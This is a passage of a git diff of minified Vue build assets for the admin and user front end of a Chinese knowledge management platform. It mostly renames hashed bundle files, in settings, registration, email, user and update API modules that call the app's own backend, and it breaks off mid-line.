static/admin/assets/EmailPage-Cev_X_Ce.js
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
1
static/admin/assets/LogsPage-CemQ-Y_T.js
Normal file
1
static/admin/assets/LogsPage-CemQ-Y_T.js
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
1
static/admin/assets/ReportPage-CSbGJlZV.css
Normal file
1
static/admin/assets/ReportPage-CSbGJlZV.css
Normal file
File diff suppressed because one or more lines are too long
1
static/admin/assets/ReportPage-D6vDD1zK.js
Normal file
1
static/admin/assets/ReportPage-D6vDD1zK.js
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
1
static/admin/assets/SecurityPage-CH3QeiaV.css
Normal file
1
static/admin/assets/SecurityPage-CH3QeiaV.css
Normal file
@@ -0,0 +1 @@
|
||||
.page-stack[data-v-ea9240bd]{display:flex;flex-direction:column;gap:12px}.toolbar[data-v-ea9240bd]{display:flex;gap:10px;align-items:center;flex-wrap:wrap}.stats-row[data-v-ea9240bd]{margin-bottom:2px}.card[data-v-ea9240bd]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.sub-card[data-v-ea9240bd]{margin-top:12px;border-radius:var(--app-radius);border:1px solid var(--app-border)}.stat-card[data-v-ea9240bd]{border-radius:var(--app-radius);border:1px solid var(--app-border);box-shadow:var(--app-shadow)}.stat-value[data-v-ea9240bd]{font-size:22px;font-weight:800;line-height:1.1}.stat-label[data-v-ea9240bd]{margin-top:6px;font-size:12px;color:var(--app-muted)}.filters[data-v-ea9240bd]{display:flex;flex-wrap:wrap;gap:10px;align-items:center;margin-bottom:12px}.table-wrap[data-v-ea9240bd]{overflow-x:auto}.ellipsis[data-v-ea9240bd]{display:inline-block;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.mono[data-v-ea9240bd]{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace}.pagination[data-v-ea9240bd]{display:flex;align-items:center;justify-content:space-between;gap:10px;margin-top:14px;flex-wrap:wrap}.page-hint[data-v-ea9240bd]{font-size:12px}.inner-tabs[data-v-ea9240bd]{margin-top:6px}.risk-head[data-v-ea9240bd]{display:flex;align-items:flex-start;justify-content:space-between;gap:12px;margin-bottom:12px;flex-wrap:wrap}.risk-title[data-v-ea9240bd]{display:flex;align-items:center;gap:10px;flex-wrap:wrap}.dialog-actions[data-v-ea9240bd]{display:flex;align-items:center;gap:10px}.spacer[data-v-ea9240bd]{flex:1}
|
||||
3
static/admin/assets/SecurityPage-DGvsGoGa.js
Normal file
3
static/admin/assets/SecurityPage-DGvsGoGa.js
Normal file
File diff suppressed because one or more lines are too long
@@ -1 +1 @@
|
||||
import{S as m,_ as T,r as p,e as u,f as h,g as k,h as r,j as a,w as s,p as x,L as i,K as b}from"./index-CdjS44Uj.js";async function C(o){const{data:t}=await m.put("/admin/username",{new_username:o});return t}async function P(o){const{data:t}=await m.put("/admin/password",{new_password:o});return t}async function U(){const{data:o}=await m.post("/logout");return o}const E={class:"page-stack"},N={__name:"SettingsPage",setup(o){const t=p(""),d=p(""),n=p(!1);async function f(){try{await U()}catch{}finally{window.location.href="/yuyx"}}async function V(){const l=t.value.trim();if(!l){i.error("请输入新用户名");return}try{await b.confirm(`确定将管理员用户名修改为「${l}」吗?修改后需要重新登录。`,"修改用户名",{confirmButtonText:"确认修改",cancelButtonText:"取消",type:"warning"})}catch{return}n.value=!0;try{await C(l),i.success("用户名修改成功,请重新登录"),t.value="",setTimeout(f,1200)}catch{}finally{n.value=!1}}async function B(){const l=d.value;if(!l){i.error("请输入新密码");return}if(l.length<6){i.error("密码至少6个字符");return}try{await b.confirm("确定修改管理员密码吗?修改后需要重新登录。","修改密码",{confirmButtonText:"确认修改",cancelButtonText:"取消",type:"warning"})}catch{return}n.value=!0;try{await P(l),i.success("密码修改成功,请重新登录"),d.value="",setTimeout(f,1200)}catch{}finally{n.value=!1}}return(l,e)=>{const w=u("el-input"),v=u("el-form-item"),y=u("el-form"),_=u("el-button"),g=u("el-card");return k(),h("div",E,[e[7]||(e[7]=r("div",{class:"app-page-title"},[r("h2",null,"设置"),r("span",{class:"app-muted"},"管理员账号设置")],-1)),a(g,{shadow:"never","body-style":{padding:"16px"},class:"card"},{default:s(()=>[e[3]||(e[3]=r("h3",{class:"section-title"},"修改管理员用户名",-1)),a(y,{"label-width":"120px"},{default:s(()=>[a(v,{label:"新用户名"},{default:s(()=>[a(w,{modelValue:t.value,"onUpdate:modelValue":e[0]||(e[0]=c=>t.value=c),placeholder:"输入新用户名",disabled:n.value},null,8,["modelValue","disabled"])]),_:1})]),_:1}),a(_,{type:"primary",loading:n.value,onClick:V},{default:s(()=>[...e[2]||(e[2]=[x("保存用户名",-1)])]),_:1},8,["loading"])]),_:1}),a(g,{shadow:"never","body-style":{padding:"16px"},class:"card"},{default:s(()=>[e[5]||(e[5]=r("h3",{class:"section-title"},"修改管理员密码",-1)),a(y,{"label-width":"120px"},{default:s(()=>[a(v,{label:"新密码"},{default:s(()=>[a(w,{modelValue:d.value,"onUpdate:modelValue":e[1]||(e[1]=c=>d.value=c),type:"password","show-password":"",placeholder:"输入新密码",disabled:n.value},null,8,["modelValue","disabled"])]),_:1})]),_:1}),a(_,{type:"primary",loading:n.value,onClick:B},{default:s(()=>[...e[4]||(e[4]=[x("保存密码",-1)])]),_:1},8,["loading"]),e[6]||(e[6]=r("div",{class:"help"},"建议使用更强密码(至少8位且包含字母与数字)。",-1))]),_:1})])}}},A=T(N,[["__scopeId","data-v-2f4b840f"]]);export{A as default};
|
||||
import{O as m,_ as T,r as p,d as u,e as h,f as k,g as r,h as a,w as s,n as x,J as d,I as b}from"./index-C9w-iZIr.js";async function C(o){const{data:t}=await m.put("/admin/username",{new_username:o});return t}async function P(o){const{data:t}=await m.put("/admin/password",{new_password:o});return t}async function U(){const{data:o}=await m.post("/logout");return o}const E={class:"page-stack"},N={__name:"SettingsPage",setup(o){const t=p(""),i=p(""),n=p(!1);async function f(){try{await U()}catch{}finally{window.location.href="/yuyx"}}async function V(){const l=t.value.trim();if(!l){d.error("请输入新用户名");return}try{await b.confirm(`确定将管理员用户名修改为「${l}」吗?修改后需要重新登录。`,"修改用户名",{confirmButtonText:"确认修改",cancelButtonText:"取消",type:"warning"})}catch{return}n.value=!0;try{await C(l),d.success("用户名修改成功,请重新登录"),t.value="",setTimeout(f,1200)}catch{}finally{n.value=!1}}async function B(){const l=i.value;if(!l){d.error("请输入新密码");return}if(l.length<6){d.error("密码至少6个字符");return}try{await b.confirm("确定修改管理员密码吗?修改后需要重新登录。","修改密码",{confirmButtonText:"确认修改",cancelButtonText:"取消",type:"warning"})}catch{return}n.value=!0;try{await P(l),d.success("密码修改成功,请重新登录"),i.value="",setTimeout(f,1200)}catch{}finally{n.value=!1}}return(l,e)=>{const w=u("el-input"),v=u("el-form-item"),y=u("el-form"),_=u("el-button"),g=u("el-card");return k(),h("div",E,[e[7]||(e[7]=r("div",{class:"app-page-title"},[r("h2",null,"设置"),r("span",{class:"app-muted"},"管理员账号设置")],-1)),a(g,{shadow:"never","body-style":{padding:"16px"},class:"card"},{default:s(()=>[e[3]||(e[3]=r("h3",{class:"section-title"},"修改管理员用户名",-1)),a(y,{"label-width":"120px"},{default:s(()=>[a(v,{label:"新用户名"},{default:s(()=>[a(w,{modelValue:t.value,"onUpdate:modelValue":e[0]||(e[0]=c=>t.value=c),placeholder:"输入新用户名",disabled:n.value},null,8,["modelValue","disabled"])]),_:1})]),_:1}),a(_,{type:"primary",loading:n.value,onClick:V},{default:s(()=>[...e[2]||(e[2]=[x("保存用户名",-1)])]),_:1},8,["loading"])]),_:1}),a(g,{shadow:"never","body-style":{padding:"16px"},class:"card"},{default:s(()=>[e[5]||(e[5]=r("h3",{class:"section-title"},"修改管理员密码",-1)),a(y,{"label-width":"120px"},{default:s(()=>[a(v,{label:"新密码"},{default:s(()=>[a(w,{modelValue:i.value,"onUpdate:modelValue":e[1]||(e[1]=c=>i.value=c),type:"password","show-password":"",placeholder:"输入新密码",disabled:n.value},null,8,["modelValue","disabled"])]),_:1})]),_:1}),a(_,{type:"primary",loading:n.value,onClick:B},{default:s(()=>[...e[4]||(e[4]=[x("保存密码",-1)])]),_:1},8,["loading"]),e[6]||(e[6]=r("div",{class:"help"},"建议使用更强密码(至少8位且包含字母与数字)。",-1))]),_:1})])}}},I=T(N,[["__scopeId","data-v-2f4b840f"]]);export{I as default};
|
||||
File diff suppressed because one or more lines are too long
1
static/admin/assets/UsersPage-CC4Unpwt.css
Normal file
1
static/admin/assets/UsersPage-CC4Unpwt.css
Normal file
@@ -0,0 +1 @@
|
||||
.page-stack[data-v-d73d2b82]{display:flex;flex-direction:column;gap:12px}.card[data-v-d73d2b82]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.section-title[data-v-d73d2b82]{margin:0 0 12px;font-size:14px;font-weight:800}.help[data-v-d73d2b82]{margin-top:10px;font-size:12px}.table-wrap[data-v-d73d2b82]{overflow-x:auto}.user-block[data-v-d73d2b82]{display:flex;flex-direction:column;gap:2px}.user-main[data-v-d73d2b82]{display:inline-flex;align-items:center;gap:8px;flex-wrap:wrap}.user-sub[data-v-d73d2b82]{font-size:12px}.vip-sub[data-v-d73d2b82]{font-size:12px;color:#7c3aed}.actions[data-v-d73d2b82]{display:flex;flex-wrap:wrap;gap:8px}
|
||||
1
static/admin/assets/UsersPage-CFbr6Y3k.js
Normal file
1
static/admin/assets/UsersPage-CFbr6Y3k.js
Normal file
File diff suppressed because one or more lines are too long
@@ -1 +0,0 @@
|
||||
.page-stack[data-v-84b2f73a]{display:flex;flex-direction:column;gap:12px}.card[data-v-84b2f73a]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.section-title[data-v-84b2f73a]{margin:0 0 12px;font-size:14px;font-weight:800}.help[data-v-84b2f73a]{margin-top:10px;font-size:12px}.table-wrap[data-v-84b2f73a]{overflow-x:auto}.user-block[data-v-84b2f73a]{display:flex;flex-direction:column;gap:2px}.user-main[data-v-84b2f73a]{display:inline-flex;align-items:center;gap:8px;flex-wrap:wrap}.user-sub[data-v-84b2f73a]{font-size:12px}.vip-sub[data-v-84b2f73a]{font-size:12px;color:#7c3aed}.actions[data-v-84b2f73a]{display:flex;flex-wrap:wrap;gap:8px}
|
||||
File diff suppressed because one or more lines are too long
@@ -1 +1 @@
|
||||
import{S as n}from"./index-CdjS44Uj.js";async function i(){const{data:a}=await n.get("/email/settings");return a}async function e(a){const{data:t}=await n.post("/email/settings",a);return t}async function c(){const{data:a}=await n.get("/email/stats");return a}async function o(a){const{data:t}=await n.get("/email/logs",{params:a});return t}async function l(a){const{data:t}=await n.post("/email/logs/cleanup",{days:a});return t}export{o as a,i as b,l as c,c as f,e as u};
|
||||
import{O as n}from"./index-C9w-iZIr.js";async function i(){const{data:a}=await n.get("/email/settings");return a}async function e(a){const{data:t}=await n.post("/email/settings",a);return t}async function c(){const{data:a}=await n.get("/email/stats");return a}async function o(a){const{data:t}=await n.get("/email/logs",{params:a});return t}async function l(a){const{data:t}=await n.post("/email/logs/cleanup",{days:a});return t}export{o as a,i as b,l as c,c as f,e as u};
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1 +1 @@
|
||||
import{S as a}from"./index-CdjS44Uj.js";async function c(){const{data:t}=await a.get("/server/info");return t}async function e(){const{data:t}=await a.get("/docker_stats");return t}async function o(){const{data:t}=await a.get("/task/stats");return t}async function r(){const{data:t}=await a.get("/task/running");return t}async function i(t){const{data:s}=await a.get("/task/logs",{params:t});return s}async function f(t){const{data:s}=await a.post("/task/logs/clear",{days:t});return s}export{r as a,c as b,e as c,i as d,f as e,o as f};
|
||||
import{O as a}from"./index-C9w-iZIr.js";async function c(){const{data:t}=await a.get("/server/info");return t}async function e(){const{data:t}=await a.get("/docker_stats");return t}async function o(){const{data:t}=await a.get("/task/stats");return t}async function r(){const{data:t}=await a.get("/task/running");return t}async function i(t){const{data:s}=await a.get("/task/logs",{params:t});return s}async function f(t){const{data:s}=await a.post("/task/logs/clear",{days:t});return s}export{r as a,c as b,e as c,i as d,f as e,o as f};
|
||||
@@ -1 +1 @@
|
||||
import{S as a}from"./index-CdjS44Uj.js";async function s(){const{data:t}=await a.get("/system/config");return t}async function c(t){const{data:e}=await a.post("/system/config",t);return e}async function u(){const{data:t}=await a.post("/schedule/execute",{});return t}async function o(){const{data:t}=await a.get("/update/status");return t}async function r(){const{data:t}=await a.get("/update/result");return t}async function d(t={}){const{data:e}=await a.get("/update/log",{params:t});return e}async function i(){const{data:t}=await a.post("/update/check",{});return t}async function f(t={}){const{data:e}=await a.post("/update/run",t);return e}export{o as a,r as b,d as c,f as d,u as e,s as f,i as r,c as u};
|
||||
import{O as a}from"./index-C9w-iZIr.js";async function s(){const{data:t}=await a.get("/system/config");return t}async function c(t){const{data:e}=await a.post("/system/config",t);return e}async function u(){const{data:t}=await a.post("/schedule/execute",{});return t}async function o(){const{data:t}=await a.get("/update/status");return t}async function r(){const{data:t}=await a.get("/update/result");return t}async function d(t={}){const{data:e}=await a.get("/update/log",{params:t});return e}async function i(){const{data:t}=await a.post("/update/check",{});return t}async function f(t={}){const{data:e}=await a.post("/update/run",t);return e}export{o as a,r as b,d as c,f as d,u as e,s as f,i as r,c as u};
|
||||
@@ -1 +1 @@
|
||||
import{S as t}from"./index-CdjS44Uj.js";async function n(){const{data:s}=await t.get("/users");return s}async function o(s){const{data:a}=await t.post(`/users/${s}/approve`);return a}async function c(s){const{data:a}=await t.post(`/users/${s}/reject`);return a}async function i(s){const{data:a}=await t.delete(`/users/${s}`);return a}async function u(s,a){const{data:e}=await t.post(`/users/${s}/vip`,{days:a});return e}async function p(s){const{data:a}=await t.delete(`/users/${s}/vip`);return a}async function d(s,a){const{data:e}=await t.post(`/users/${s}/reset_password`,{new_password:a});return e}export{o as a,p as b,d as c,i as d,n as f,c as r,u as s};
|
||||
import{O as t}from"./index-C9w-iZIr.js";async function n(){const{data:s}=await t.get("/users");return s}async function o(s){const{data:a}=await t.post(`/users/${s}/approve`);return a}async function c(s){const{data:a}=await t.post(`/users/${s}/reject`);return a}async function i(s){const{data:a}=await t.delete(`/users/${s}`);return a}async function u(s,a){const{data:e}=await t.post(`/users/${s}/vip`,{days:a});return e}async function p(s){const{data:a}=await t.delete(`/users/${s}/vip`);return a}async function d(s,a){const{data:e}=await t.post(`/users/${s}/reset_password`,{new_password:a});return e}export{o as a,p as b,d as c,i as d,n as f,c as r,u as s};
|
||||
@@ -5,8 +5,8 @@
|
||||
<link rel="icon" type="image/svg+xml" href="./vite.svg" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>后台管理 - 知识管理平台</title>
|
||||
<script type="module" crossorigin src="./assets/index-CdjS44Uj.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-EWm4DZW8.css">
|
||||
<script type="module" crossorigin src="./assets/index-C9w-iZIr.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-_5Ec1Hmd.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
|
||||
@@ -1,24 +1,20 @@
|
||||
{
|
||||
"_accounts-BXD0We06.js": {
|
||||
"file": "assets/accounts-BXD0We06.js",
|
||||
"_accounts-CTfB-Ncr.js": {
|
||||
"file": "assets/accounts-CTfB-Ncr.js",
|
||||
"name": "accounts",
|
||||
"imports": [
|
||||
"index.html"
|
||||
]
|
||||
},
|
||||
"_auth-cf7b3Gq2.js": {
|
||||
"file": "assets/auth-cf7b3Gq2.js",
|
||||
"_auth-WsWSY0rn.js": {
|
||||
"file": "assets/auth-WsWSY0rn.js",
|
||||
"name": "auth",
|
||||
"imports": [
|
||||
"index.html"
|
||||
]
|
||||
},
|
||||
"_password-7ryi82gE.js": {
|
||||
"file": "assets/password-7ryi82gE.js",
|
||||
"name": "password"
|
||||
},
|
||||
"index.html": {
|
||||
"file": "assets/index-DhsLPY8p.js",
|
||||
"file": "assets/index-CEOd73lG.js",
|
||||
"name": "index",
|
||||
"src": "index.html",
|
||||
"isEntry": true,
|
||||
@@ -36,12 +32,12 @@
|
||||
]
|
||||
},
|
||||
"src/pages/AccountsPage.vue": {
|
||||
"file": "assets/AccountsPage-38dq1Ex4.js",
|
||||
"file": "assets/AccountsPage-D3IUho1c.js",
|
||||
"name": "AccountsPage",
|
||||
"src": "src/pages/AccountsPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"_accounts-BXD0We06.js",
|
||||
"_accounts-CTfB-Ncr.js",
|
||||
"index.html"
|
||||
],
|
||||
"css": [
|
||||
@@ -49,53 +45,51 @@
|
||||
]
|
||||
},
|
||||
"src/pages/LoginPage.vue": {
|
||||
"file": "assets/LoginPage-B_fgHOTT.js",
|
||||
"file": "assets/LoginPage-x4LlIM56.js",
|
||||
"name": "LoginPage",
|
||||
"src": "src/pages/LoginPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"index.html",
|
||||
"_auth-cf7b3Gq2.js",
|
||||
"_password-7ryi82gE.js"
|
||||
"_auth-WsWSY0rn.js"
|
||||
],
|
||||
"css": [
|
||||
"assets/LoginPage-8DI6Rf67.css"
|
||||
"assets/LoginPage-C_sxX_84.css"
|
||||
]
|
||||
},
|
||||
"src/pages/RegisterPage.vue": {
|
||||
"file": "assets/RegisterPage-B_Z92PVI.js",
|
||||
"file": "assets/RegisterPage-BBedBh-y.js",
|
||||
"name": "RegisterPage",
|
||||
"src": "src/pages/RegisterPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"index.html",
|
||||
"_auth-cf7b3Gq2.js"
|
||||
"_auth-WsWSY0rn.js"
|
||||
],
|
||||
"css": [
|
||||
"assets/RegisterPage-yylt2w7b.css"
|
||||
]
|
||||
},
|
||||
"src/pages/ResetPasswordPage.vue": {
|
||||
"file": "assets/ResetPasswordPage-2f8v-5j9.js",
|
||||
"file": "assets/ResetPasswordPage--Vqm02p7.js",
|
||||
"name": "ResetPasswordPage",
|
||||
"src": "src/pages/ResetPasswordPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"index.html",
|
||||
"_auth-cf7b3Gq2.js",
|
||||
"_password-7ryi82gE.js"
|
||||
"_auth-WsWSY0rn.js"
|
||||
],
|
||||
"css": [
|
||||
"assets/ResetPasswordPage-DybfLMAw.css"
|
||||
]
|
||||
},
|
||||
"src/pages/SchedulesPage.vue": {
|
||||
"file": "assets/SchedulesPage-VLwHd9Sa.js",
|
||||
"file": "assets/SchedulesPage-Cln6Gk1v.js",
|
||||
"name": "SchedulesPage",
|
||||
"src": "src/pages/SchedulesPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
"imports": [
|
||||
"_accounts-BXD0We06.js",
|
||||
"_accounts-CTfB-Ncr.js",
|
||||
"index.html"
|
||||
],
|
||||
"css": [
|
||||
@@ -103,7 +97,7 @@
|
||||
]
|
||||
},
|
||||
"src/pages/ScreenshotsPage.vue": {
|
||||
"file": "assets/ScreenshotsPage-Dtd_MXUX.js",
|
||||
"file": "assets/ScreenshotsPage-BeyAIC93.js",
|
||||
"name": "ScreenshotsPage",
|
||||
"src": "src/pages/ScreenshotsPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
@@ -115,7 +109,7 @@
|
||||
]
|
||||
},
|
||||
"src/pages/VerifyResultPage.vue": {
|
||||
"file": "assets/VerifyResultPage-8_v-5_kc.js",
|
||||
"file": "assets/VerifyResultPage-Ci85Um-V.js",
|
||||
"name": "VerifyResultPage",
|
||||
"src": "src/pages/VerifyResultPage.vue",
|
||||
"isDynamicEntry": true,
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1 +0,0 @@
|
||||
.auth-wrap[data-v-50df591d]{min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}.auth-card[data-v-50df591d]{width:100%;max-width:420px;border-radius:var(--app-radius);border:1px solid var(--app-border);box-shadow:var(--app-shadow)}.brand[data-v-50df591d]{margin-bottom:14px}.brand-title[data-v-50df591d]{font-size:18px;font-weight:900}.brand-sub[data-v-50df591d]{margin-top:4px;font-size:12px}.links[data-v-50df591d]{display:flex;align-items:center;justify-content:space-between;gap:10px;margin:2px 0 10px;flex-wrap:wrap}.submit-btn[data-v-50df591d]{width:100%}.foot[data-v-50df591d]{margin-top:14px;display:flex;align-items:center;justify-content:center;gap:6px}.dialog-form[data-v-50df591d]{margin-top:10px}.captcha-row[data-v-50df591d]{display:flex;align-items:center;gap:10px;width:100%}.captcha-img[data-v-50df591d]{height:40px;border:1px solid var(--app-border);border-radius:8px;cursor:pointer;-webkit-user-select:none;user-select:none}@media(max-width:480px){.captcha-img[data-v-50df591d]{height:38px}}
|
||||
File diff suppressed because one or more lines are too long
1
static/app/assets/LoginPage-C_sxX_84.css
Normal file
1
static/app/assets/LoginPage-C_sxX_84.css
Normal file
@@ -0,0 +1 @@
|
||||
.auth-wrap[data-v-c04a6b1b]{min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}.auth-card[data-v-c04a6b1b]{width:100%;max-width:420px;border-radius:var(--app-radius);border:1px solid var(--app-border);box-shadow:var(--app-shadow)}.brand[data-v-c04a6b1b]{margin-bottom:14px}.brand-title[data-v-c04a6b1b]{font-size:18px;font-weight:900}.brand-sub[data-v-c04a6b1b]{margin-top:4px;font-size:12px}.links[data-v-c04a6b1b]{display:flex;align-items:center;justify-content:space-between;gap:10px;margin:2px 0 10px;flex-wrap:wrap}.submit-btn[data-v-c04a6b1b]{width:100%}.foot[data-v-c04a6b1b]{margin-top:14px;display:flex;align-items:center;justify-content:center;gap:6px}.dialog-form[data-v-c04a6b1b]{margin-top:10px}.captcha-row[data-v-c04a6b1b]{display:flex;align-items:center;gap:10px;width:100%}.captcha-img[data-v-c04a6b1b]{height:40px;border:1px solid var(--app-border);border-radius:8px;cursor:pointer;-webkit-user-select:none;user-select:none}@media(max-width:480px){.captcha-img[data-v-c04a6b1b]{height:38px}}
|
||||
1
static/app/assets/LoginPage-x4LlIM56.js
Normal file
1
static/app/assets/LoginPage-x4LlIM56.js
Normal file
File diff suppressed because one or more lines are too long
@@ -1 +1 @@
|
||||
import{_ as M,r as j,a as p,c as B,o as A,b as S,d as t,w as o,e as m,u as H,f as g,g as n,h as U,i as x,j as N,t as q,k as E,E as d}from"./index-DhsLPY8p.js";import{g as z,f as F,c as G}from"./auth-cf7b3Gq2.js";const J={class:"auth-wrap"},O={class:"hint app-muted"},Q={class:"captcha-row"},W=["src"],X={class:"actions"},Y={__name:"RegisterPage",setup(Z){const T=H(),a=j({username:"",password:"",confirm_password:"",email:"",captcha:""}),v=p(!1),f=p(""),h=p(""),b=p(!1),l=p(""),_=p(""),V=p(""),K=B(()=>v.value?"邮箱 *":"邮箱(可选)"),P=B(()=>v.value?"必填,用于账号验证":"选填,用于找回密码和接收通知");async function w(){try{const u=await z();h.value=u?.session_id||"",f.value=u?.captcha_image||"",a.captcha=""}catch{h.value="",f.value=""}}async function R(){try{const u=await F();v.value=!!u?.register_verify_enabled}catch{v.value=!1}}function D(){l.value="",_.value="",V.value=""}async function k(){D();const u=a.username.trim(),e=a.password,y=a.confirm_password,s=a.email.trim(),i=a.captcha.trim();if(u.length<3){l.value="用户名至少3个字符",d.error(l.value);return}if(e.length<6){l.value="密码至少6个字符",d.error(l.value);return}if(e!==y){l.value="两次输入的密码不一致",d.error(l.value);return}if(v.value&&!s){l.value="请填写邮箱地址用于账号验证",d.error(l.value);return}if(s&&!s.includes("@")){l.value="邮箱格式不正确",d.error(l.value);return}if(!i){l.value="请输入验证码",d.error(l.value);return}b.value=!0;try{const c=await G({username:u,password:e,email:s,captcha_session:h.value,captcha:i});_.value=c?.message||"注册成功",V.value=c?.need_verify?"请检查您的邮箱(包括垃圾邮件文件夹)":"",d.success("注册成功"),a.username="",a.password="",a.confirm_password="",a.email="",a.captcha="",setTimeout(()=>{window.location.href="/login"},3e3)}catch(c){const C=c?.response?.data;l.value=C?.error||"注册失败",d.error(l.value),await w()}finally{b.value=!1}}function I(){T.push("/login")}return A(async()=>{await w(),await R()}),(u,e)=>{const y=m("el-alert"),s=m("el-input"),i=m("el-form-item"),c=m("el-button"),C=m("el-form"),L=m("el-card");return g(),S("div",J,[t(L,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:o(()=>[e[11]||(e[11]=n("div",{class:"brand"},[n("div",{class:"brand-title"},"知识管理平台"),n("div",{class:"brand-sub app-muted"},"用户注册")],-1)),l.value?(g(),U(y,{key:0,type:"error",closable:!1,title:l.value,"show-icon":"",class:"alert"},null,8,["title"])):x("",!0),_.value?(g(),U(y,{key:1,type:"success",closable:!1,title:_.value,description:V.value,"show-icon":"",class:"alert"},null,8,["title","description"])):x("",!0),t(C,{"label-position":"top"},{default:o(()=>[t(i,{label:"用户名 *"},{default:o(()=>[t(s,{modelValue:a.username,"onUpdate:modelValue":e[0]||(e[0]=r=>a.username=r),placeholder:"至少3个字符",autocomplete:"username"},null,8,["modelValue"]),e[5]||(e[5]=n("div",{class:"hint app-muted"},"至少3个字符",-1))]),_:1}),t(i,{label:"密码 *"},{default:o(()=>[t(s,{modelValue:a.password,"onUpdate:modelValue":e[1]||(e[1]=r=>a.password=r),type:"password","show-password":"",placeholder:"至少6个字符",autocomplete:"new-password"},null,8,["modelValue"]),e[6]||(e[6]=n("div",{class:"hint app-muted"},"至少6个字符",-1))]),_:1}),t(i,{label:"确认密码 *"},{default:o(()=>[t(s,{modelValue:a.confirm_password,"onUpdate:modelValue":e[2]||(e[2]=r=>a.confirm_password=r),type:"password","show-password":"",placeholder:"请再次输入密码",autocomplete:"new-password",onKeyup:N(k,["enter"])},null,8,["modelValue"])]),_:1}),t(i,{label:K.value},{default:o(()=>[t(s,{modelValue:a.email,"onUpdate:modelValue":e[3]||(e[3]=r=>a.email=r),placeholder:"name@example.com",autocomplete:"email"},null,8,["modelValue"]),n("div",O,q(P.value),1)]),_:1},8,["label"]),t(i,{label:"验证码 *"},{default:o(()=>[n("div",Q,[t(s,{modelValue:a.captcha,"onUpdate:modelValue":e[4]||(e[4]=r=>a.captcha=r),placeholder:"请输入验证码",onKeyup:N(k,["enter"])},null,8,["modelValue"]),f.value?(g(),S("img",{key:0,class:"captcha-img",src:f.value,alt:"验证码",title:"点击刷新",onClick:w},null,8,W)):x("",!0),t(c,{onClick:w},{default:o(()=>[...e[7]||(e[7]=[E("刷新",-1)])]),_:1})])]),_:1})]),_:1}),t(c,{type:"primary",class:"submit-btn",loading:b.value,onClick:k},{default:o(()=>[...e[8]||(e[8]=[E("注册",-1)])]),_:1},8,["loading"]),n("div",X,[e[10]||(e[10]=n("span",{class:"app-muted"},"已有账号?",-1)),t(c,{link:"",type:"primary",onClick:I},{default:o(()=>[...e[9]||(e[9]=[E("立即登录",-1)])]),_:1})])]),_:1})])}}},ae=M(Y,[["__scopeId","data-v-75731a6d"]]);export{ae as default};
|
||||
import{_ as M,r as j,a as p,c as B,o as A,b as S,d as t,w as o,e as m,u as H,f as g,g as n,h as U,i as x,j as N,t as q,k as E,E as d}from"./index-CEOd73lG.js";import{g as z,f as F,b as G}from"./auth-WsWSY0rn.js";const J={class:"auth-wrap"},O={class:"hint app-muted"},Q={class:"captcha-row"},W=["src"],X={class:"actions"},Y={__name:"RegisterPage",setup(Z){const T=H(),a=j({username:"",password:"",confirm_password:"",email:"",captcha:""}),v=p(!1),f=p(""),b=p(""),h=p(!1),l=p(""),_=p(""),V=p(""),K=B(()=>v.value?"邮箱 *":"邮箱(可选)"),P=B(()=>v.value?"必填,用于账号验证":"选填,用于找回密码和接收通知");async function w(){try{const u=await z();b.value=u?.session_id||"",f.value=u?.captcha_image||"",a.captcha=""}catch{b.value="",f.value=""}}async function R(){try{const u=await F();v.value=!!u?.register_verify_enabled}catch{v.value=!1}}function D(){l.value="",_.value="",V.value=""}async function k(){D();const u=a.username.trim(),e=a.password,y=a.confirm_password,s=a.email.trim(),i=a.captcha.trim();if(u.length<3){l.value="用户名至少3个字符",d.error(l.value);return}if(e.length<6){l.value="密码至少6个字符",d.error(l.value);return}if(e!==y){l.value="两次输入的密码不一致",d.error(l.value);return}if(v.value&&!s){l.value="请填写邮箱地址用于账号验证",d.error(l.value);return}if(s&&!s.includes("@")){l.value="邮箱格式不正确",d.error(l.value);return}if(!i){l.value="请输入验证码",d.error(l.value);return}h.value=!0;try{const c=await G({username:u,password:e,email:s,captcha_session:b.value,captcha:i});_.value=c?.message||"注册成功",V.value=c?.need_verify?"请检查您的邮箱(包括垃圾邮件文件夹)":"",d.success("注册成功"),a.username="",a.password="",a.confirm_password="",a.email="",a.captcha="",setTimeout(()=>{window.location.href="/login"},3e3)}catch(c){const C=c?.response?.data;l.value=C?.error||"注册失败",d.error(l.value),await w()}finally{h.value=!1}}function I(){T.push("/login")}return A(async()=>{await w(),await R()}),(u,e)=>{const y=m("el-alert"),s=m("el-input"),i=m("el-form-item"),c=m("el-button"),C=m("el-form"),L=m("el-card");return g(),S("div",J,[t(L,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:o(()=>[e[11]||(e[11]=n("div",{class:"brand"},[n("div",{class:"brand-title"},"知识管理平台"),n("div",{class:"brand-sub 